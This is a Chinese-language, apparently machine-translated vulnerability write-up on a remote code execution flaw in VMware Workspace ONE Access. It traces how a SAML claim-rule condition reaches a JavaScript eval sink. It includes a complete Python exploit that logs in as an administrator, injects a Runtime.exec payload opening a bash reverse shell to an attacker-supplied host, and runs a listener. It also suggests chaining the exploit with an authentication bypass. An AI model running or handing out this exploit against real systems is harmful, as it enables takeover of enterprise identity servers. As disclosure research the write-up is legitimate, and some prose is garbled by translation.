介绍
2022 年,我针对 VMWare Workspace ONE Access 进行了研究,并发现了一个可由经过身份验证的管理员触发的远程代码执行漏洞。尽管身份验证是必需的,但过去的身份验证绕过漏洞已发布。顺便说一句,如果您对此类工作感兴趣,在 Trenchant,我们会针对各种有趣且具有挑战性的目标进行漏洞研究!
VMWare的供应商公告可在此处找到。
赋予动机
全链作者 | 血型 | RCE |
---|---|---|
mr_me | CVE-2022-22955 | CVE-2022-22960 |
Kai Zhao & Steven Yu | CVE-2022-22973 | ? |
Petrus Viet | CVE-2022-31659 | CVE-2022-31659 |
在我构建了 Hekate 0-click 漏洞(将身份验证绕过与其他漏洞链接在一起)之后,我看到 ToTU 安全团队的 Kai Zhao 和 Steven Yu 报告了 CVE-2022-22973,这是另一个没有链接任何远程代码执行的身份验证绕过。
后来,Petrus Viet 绕过了 CVE-2022-22973 的补丁(修补为 CVE-2022-31659),并将其与他发现的另一个远程代码执行漏洞 (CVE-2022-31659) 链接在一起。
一个新的RCE漏洞可以与赵凯和Steven Yu的身份验证绕过相结合,以实现未经身份验证的远程代码执行。VMWare非常努力地不允许任何身份验证后RCE漏洞,特别是因为这些缺陷已经在野外被利用了。
漏洞分析
一天深夜,我熬夜阅读了与 Java Bean 验证相关的漏洞,我意识到这是我最初在审核此目标时没有调查的领域。由于RCE可以完成完整的链条,我决定是时候最后一次潜入了。
在 Alvaro 的优秀帖子中,他提到要寻找的易受攻击的水槽带有部分控制的错误消息,所以我开始寻找这样一个水槽,这让我上课:javax.validation.ConstraintValidatorContext.buildConstraintViolationWithTemplate
com.vmware.horizon.catalog.validation.TypeInfoValidator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
public abstract class TypeInfoValidator<A extends Annotation, T> implements ConstraintValidator<A, T> { ... @Override public boolean isValid(@Nonnull final T t, @Nonnull final ConstraintValidatorContext constraintValidatorContext) { ... for (final Pair<String, List<String>> errorMessage : this.errorMessages) { final ConstraintValidatorContext.ConstraintViolationBuilder constraintViolationBuilder = constraintValidatorContext.buildConstraintViolationWithTemplate(errorMessage.getFirst()); // 1 for (final String errorMessageArg : errorMessage.getSecond()) { constraintViolationBuilder.addNode(errorMessageArg); } constraintViolationBuilder.addConstraintViolation(); } return this.errorMessages.size() == 0; } ... protected void addErrorMessage(@Nonnull final String errorMessageKey, final String... errorMessageArgs) { // 2 Preconditions.checkNotNull(errorMessageKey); this.errorMessages.add((Pair<String, List<String>>)Pair.of(errorMessageKey, Lists.newArrayList(errorMessageArgs))); } |
在 [1] 处,验证器循环访问属性并从 获取第一个字符串值并继续调用 。我继续寻找任何调用 [2] 的内容,因为此方法填充了属性。errorMessages
HashSet
buildConstraintViolationWithTemplate
addErrorMessage
errorMessages
我没能找到任何有用的东西,当我在课堂上发现这个有趣的方法时,我正要放弃:TypeInfoValidator
1 2 3 4 5 6 |
protected void validateClaimTransformations(@Nonnull final List<ClaimTransformation> claimTransformations) { final List<ErrorMessage> errorMessages = this.claimTransformationHelper.validateClaimTransformations(claimTransformations); for (final ErrorMessage errorMessage : errorMessages) { this.addErrorMessage(errorMessage.getErrorMessageKey(), errorMessage.getErrorMessageArgs()); // 3 } } |
当然,我想知道列表是如何派生的,以便影响 at [3] 的返回值。我潜入
课堂检查方法:errorMessages
getErrorMessageKey
com.vmware.horizon.catalog.utils.saml.transformation.ClaimTransformationHelper
validateClaimTransformations
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
@Component public class ClaimTransformationHelper { ... private final ScriptEngine scriptEngine; public ClaimTransformationHelper() { this.scriptEngine = new ScriptEngineManager().getEngineByName("JavaScript"); } ... @Nonnull public List<ErrorMessage> validateClaimTransformations(@Nonnull final List<ClaimTransformation> claimTransformations) { final List<ErrorMessage> errorMessages = new ArrayList<ErrorMessage>(); for (final ClaimTransformation claimTransformation : claimTransformations) { final String value = claimTransformation.getValue(); final List<ClaimRule> claimRules = claimTransformation.getRules(); // 4 if (value != null && CollectionUtils.isNotEmpty(claimRules)) { ... } else { ... final List<ClaimRule> rules = new ArrayList<ClaimRule>(claimRules); // 5 ... this.validateClaimRuleCondition(rules, claimTransformation.getName(), errorMessages); // 6 } } return errorMessages; } private void validateClaimRuleCondition(final List<ClaimRule> rules, final String name, final List<ErrorMessage> errorMessages) { for (final ClaimRule claimRule : rules) { if ("default".equals(claimRule.getCondition())) { continue; } try { Boolean.valueOf((boolean)this.scriptEngine.eval(claimRule.getCondition())); // 7 } catch (Exception e) { errorMessages.add(new ErrorMessage("claim.rules.condition.compilation.failed", new String[] { name, String.valueOf(claimRule.getOrder()) })); } } } |
在 [4] 处,代码遍历提供的并调用 。at [5] 被强制转换为 的实例并存储在 中。然后在 [6] 处,代码调用攻击者提供的 .claimTransformations
getRules
claimRules
ArrayList
ClaimRule
rules
validateClaimRuleCondition
rules
该方法在攻击者提供的实例上调用,该实例直接传递到 [7] 处的接收器。由于 Java Bean 验证发生在用户提供的数据上,因此我们很可能可以使用有影响力的数据到达此注入接收器。getCondition
ClaimRule
scriptEngine.eval
达到验证声明规则条件
寻找呼叫,我发现了一些结果:validateClaimTransformations
第二个结果是公开该方法的类。com.vmware.horizon.catalog.validation.SamlTypeInfoValidator
validate
1 2 3 4 5 6 7 8 9 10 |
public abstract class SamlTypeInfoValidator<A extends Annotation, S extends SamlAuthInfo> extends TypeInfoValidator<A, S> { protected void validate(@Nonnull final SamlAuthInfo samlAuthInfo) { ... if (samlAuthInfo.getNameIdClaimTransformation() != null) { this.validateClaimTransformations(Arrays.asList(samlAuthInfo.getNameIdClaimTransformation())); } ... } } |
这由两个子 Bean 验证类及其实现调用。Saml11TypeInfoValidator
Saml20TypeInfoValidator
isValid
1 2 3 4 5 6 7 8 9 |
@Component public class Saml11TypeInfoValidator extends SamlTypeInfoValidator<ValidSaml11TypeInfo, Saml11AuthInfo> { @Override protected void isValid(@Nonnull final Saml11AuthInfo saml11AuthInfo) { Preconditions.checkNotNull(saml11AuthInfo); super.validate(saml11AuthInfo); } } |
在这一点上,我开始寻找带有任何注释或 .@ValidSaml11TypeInfo
@ValidSaml20TypeInfo
@ValidWSFed12TypeInfo
这些类和所有类都实现自定义 Bean 验证器作为注解。com.vmware.horizon.api.v2.catalog.Saml11AuthInfo
com.vmware.horizon.api.v2.catalog.Saml20AuthInfo
com.vmware.horizon.api.v2.catalog.wsfed.WSFed12ResourceInfo
1 2 3 |
@ValidSaml11TypeInfo public final class Saml11AuthInfo extends SamlAuthInfo { |
1 2 3 |
@ValidSaml20TypeInfo public final class Saml20AuthInfo extends SamlAuthInfo { |
1 2 3 |
@ValidWSFed12TypeInfo public final class WSFed12ResourceInfo extends WSFedResourceInfo { |
寻求验证
此时,我们有三个类可以到达易受攻击的接收器,需要验证这些类才能到达该接收器。经过一番搜索,我在
类内部发现了一个在 bean 服务初始化后调用的 at [8]:@PostConstruct
com.vmware.horizon.catalog.impl.CatalogServiceImpl
catalogService
1 2 3 4 5 6 7 8 9 10 11 12 13 |
@Service("catalogService") @Transactional(propagation = Propagation.REQUIRED) public class CatalogServiceImpl implements CatalogService { ... @PostConstruct public void initValidation() { // 8 this.validator.addDynamicConstraintValidation(ValidSaml11TypeInfo.class, Saml11TypeInfoValidator.class); this.validator.addDynamicConstraintValidation(ValidSaml20TypeInfo.class, Saml20TypeInfoValidator.class); this.validator.addDynamicConstraintValidation(ValidWSFed12TypeInfo.class, WSFed12TypeInfoValidator.class); this.validator.addDynamicConstraintValidation(ValidWebAppLinkTypeInfo.class, WebAppLinkTypeInfoValidator.class); this.validator.addDynamicConstraintValidation(AdapterInstalled.class, AdapterInstalledValidator.class); } |
经过更多搜索,我发现抽象类实现了这个服务:com.vmware.horizon.catalog.rest.resource.AbstractCatalogResource
1 2 3 4 5 |
public abstract class AbstractCatalogResource extends AbstractResource { public static final boolean DO_NOT_USE_ABSOLUTE_URL = false; @Autowired protected CatalogService catalogService; // 9 |
在 [9] 处,我们看到类自动连接 .自然,我随后寻找了儿童类,我发现了两个有趣的例子:CatalogService
AbstractCatalogResource
这些很有趣,因为它们使用包中的以下三种类型:com.vmware.horizon.catalog.rest.media
Saml11CatalogItem
Saml20CatalogItem
WSFed12CatalogItem
这些类型公开映射回其关联类型的 JSON 属性。例如,让我们检查类:AuthInfo
Saml20CatalogItem
1 2 3 4 5 6 7 |
@XmlRootElement(namespace = "http://www.vmware.com/hws/v2.0") @XmlType(namespace = "http://www.vmware.com/hws/v2.0") public class Saml20CatalogItem extends AbstractCatalogItem { public static final String MEDIA_TYPE_NAME = "application/vnd.vmware.horizon.manager.catalog.saml20+json"; @JsonProperty("authInfo") private Saml20AuthInfo authInfo; // 10 |
暴露
查看该类,我们可以找到几种公开易受攻击的接收器的方法:com.vmware.horizon.catalog.rest.resource.CatalogItemsResource
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
@Path("/catalogitems") @Component @Scope("prototype") @RolesAllowed({ "admin" }) // 11 public class CatalogItemsResource extends AbstractCatalogResource { private static final boolean VALIDATE = true; ... @POST @Consumes({ "application/vnd.vmware.horizon.manager.catalog.saml11+json" }) @Produces({ "application/vnd.vmware.horizon.manager.catalog.saml11+json" }) @TypeHint(Saml11CatalogItem.class) @ProtectedApi(providerId = "ctg:CatalogItemWebApp", provideRequestBody = true) public Response createSaml11CatalogItem(final Saml11CatalogItem catalogItem, @QueryParam("validate") @DefaultValue("true") final boolean validate) throws BadRequestException { return this.createCatalogItem(catalogItem, "application/vnd.vmware.horizon.manager.catalog.saml11+json", validate); } @POST @Consumes({ "application/vnd.vmware.horizon.manager.catalog.saml20+json" }) @Produces({ "application/vnd.vmware.horizon.manager.catalog.saml20+json" }) @TypeHint(Saml20CatalogItem.class) @ProtectedApi(providerId = "ctg:CatalogItemWebApp", provideRequestBody = true) public Response createSaml20CatalogItem(final Saml20CatalogItem catalogItem, @QueryParam("validate") @DefaultValue("true") final boolean validate) throws BadRequestException { return this.createCatalogItem(catalogItem, "application/vnd.vmware.horizon.manager.catalog.saml20+json", validate); } |
在 [11] 处,用户需要处于管理员级别才能到达此端点,但是,过去此应用程序中存在多个身份验证绕过,这些绕过可能与此漏洞链接在一起。
另请注意,此处并未列出所有访问易受攻击代码的方法。我提供了两个作为概念证明。
概念验证
此 PoC 需要目标的主机名和管理员凭据。使用 CVE-2022-22973 链接是读者?的练习
自动化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 |
#!/usr/bin/env python3 import re import sys import socket import requests from telnetlib import Telnet from threading import Thread from colorama import Fore, Style, Back from urllib3 import disable_warnings, exceptions from urllib.parse import urlparse disable_warnings(exceptions.InsecureRequestWarning) def login(t, u , p): r = requests.get(f"https://{t}/SAAS/auth/login", verify=False, allow_redirects=False) m = re.search("protected_state\" value=\"([a-zA-Z0-9]*)\"", r.text) assert m, "(-) cannot find protected_state!" s = requests.Session() s.post(f"https://{t}/SAAS/auth/login/embeddedauthbroker/callback", data={ "protected_state": m.group(1), "username": u, "password": p }, verify=False) return s def trigger_rce(t, rhost, rport, s): j = { "catalogItemType":"Saml11", "authInfo": { "type":"Saml11", "configureAs":"manual", "nameIdClaimTransformation":{ "name":"", "format":"", "rules":[ { "condition":f"java.lang.Runtime.getRuntime().exec(\"sh -c $@|sh . echo bash -i >& /dev/tcp/{rhost}/{rport} 0>&1\");", "order":1337, "action":{ "name":"prefix", "args":[] } } ] } } } s.headers.update({ 'content-Type': 'application/vnd.vmware.horizon.manager.catalog.saml11+json' }) r = s.post(f"https://{t}/SAAS/jersey/manager/api/catalogitems", json=j, verify=False) assert "X-XSRF-TOKEN" in r.headers, "(-) cannot find csrf token!" s.headers.update({'X-XSRF-TOKEN': r.headers['X-XSRF-TOKEN']}) s.post(f"https://{t}/SAAS/jersey/manager/api/catalogitems", json=j, verify=False) def handler(lp): print(f"(+) starting handler on port {lp}") t = Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lp)) s.listen(1) conn, addr = s.accept() print(f"(+) connection from {addr[0]}") t.sock = conn print(f"(+) {Fore.BLUE + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}") t.interact() def main(): global rhost, rport if len(sys.argv) != 4: print("(+) usage: %s <hostname> <connectback> <admin creds>" % sys.argv[0]) print("(+) eg: %s target.tld 172.18.182.204 admin:Admin22#" % sys.argv[0]) sys.exit(1) assert ":" in sys.argv[3], "(-) credentials need to be in user:pass format" target = sys.argv[1] rhost = sys.argv[2] rport = 1337 if ":" in sys.argv[2]: rhost = sys.argv[2].split(":")[0] assert sys.argv[2].split(":")[1].isnumeric(), "(-) connectback port must be a number!" rport = int(sys.argv[2].split(":")[1]) usr = sys.argv[3].split(":")[0] pwd = sys.argv[3].split(":")[1] s = login(target, usr, pwd) handlerthr = Thread(target=handler, args=[rport]) handlerthr.start() trigger_rce(target, rhost, rport, s) if __name__ == "__main__": main() |
手动
堆栈跟踪
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
ClaimTransformationHelper.validateClaimRuleCondition(List<ClaimRule>, String, List<ErrorMessage>) line: 127 ClaimTransformationHelper.validateClaimTransformations(List<ClaimTransformation>) line: 114 Saml20TypeInfoValidator(TypeInfoValidator<A,T>).validateClaimTransformations(List<ClaimTransformation>) line: 171 Saml20TypeInfoValidator(SamlTypeInfoValidator<A,S>).validate(SamlAuthInfo) line: 34 Saml20TypeInfoValidator.isValid(Saml20AuthInfo) line: 36 Saml20TypeInfoValidator.isValid(Object) line: 18 Saml20TypeInfoValidator(TypeInfoValidator<A,T>).isValid(T, ConstraintValidatorContext) line: 75 ConstraintTree<A>.validateSingleConstraint(ValidationContext<T>, ValueContext<?,?>, ConstraintValidatorContextImpl, ConstraintValidator<A,V>) line: 447 ConstraintTree<A>.validateConstraints(ValidationContext<T>, ValueContext<?,V>, Set<ConstraintViolation<T>>) line: 128 ConstraintTree<A>.validateConstraints(ValidationContext<T>, ValueContext<?,?>) line: 88 MetaConstraint<A>.validateConstraint(ValidationContext<?>, ValueContext<?,?>) line: 73 ValidatorImpl.validateMetaConstraint(ValidationContext<?>, ValueContext<?,Object>, MetaConstraint<?>) line: 617 ValidatorImpl.validateConstraint(ValidationContext<?>, ValueContext<?,Object>, boolean, MetaConstraint<?>) line: 582 ValidatorImpl.validateConstraintsForSingleDefaultGroupElement(ValidationContext<?>, ValueContext<U,Object>, Map<Class<?>,Class<?>>, Class<? super U>, Set<MetaConstraint<?>>, Group) line: 528 ValidatorImpl.validateConstraintsForDefaultGroup(ValidationContext<?>, ValueContext<U,Object>) line: 496 ValidatorImpl.validateConstraintsForCurrentGroup(ValidationContext<?>, ValueContext<?,Object>) line: 461 ValidatorImpl.validateInContext(ValidationContext<T>, ValueContext<U,Object>, ValidationOrder) line: 411 ValidatorImpl.validateCascadedConstraint(ValidationContext<?>, ValueContext<?,Object>, Iterator<?>, boolean, ValidationOrder, Set<MetaConstraint<?>>) line: 757 ValidatorImpl.validateCascadedConstraints(ValidationContext<?>, ValueContext<?,Object>) line: 681 ValidatorImpl.validateInContext(ValidationContext<T>, ValueContext<U,Object>, ValidationOrder) line: 420 ValidatorImpl.validate(T, Class<?>...) line: 208 HorizonValidator.validate(T, Class<?>...) line: 67 CatalogServiceImpl.putResource(int, Resource) line: 382 CatalogServiceImpl.createResource(int, Resource) line: 325 GeneratedMethodAccessor1783.invoke(Object, Object[]) line: not available DelegatingMethodAccessorImpl.invoke(Object, Object[]) line: 43 Method.invoke(Object, Object...) line: 498 AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) line: 344 ReflectiveMethodInvocation.invokeJoinpoint() line: 198 ReflectiveMethodInvocation.proceed() line: 163 2024690047.proceedWithInvocation() line: not available [local variables unavailable] TransactionInterceptor(TransactionAspectSupport).invokeWithinTransaction(Method, Class<?>, InvocationCallback) line: 367 TransactionInterceptor.invoke(MethodInvocation) line: 118 ReflectiveMethodInvocation.proceed() line: 186 ExposeInvocationInterceptor.invoke(MethodInvocation) line: 95 ReflectiveMethodInvocation.proceed() line: 186 JdkDynamicAopProxy.invoke(Object, Method, Object[]) line: 212 $Proxy1217.createResource(int, Resource) line: not available CatalogItemsResource.createCatalogItem(int, Resource) line: 496 CatalogItemsResource.createCatalogItem(AbstractCatalogItem, String, boolean) line: 462 CatalogItemsResource.createSaml20CatalogItem(Saml20CatalogItem, boolean) line: 142 |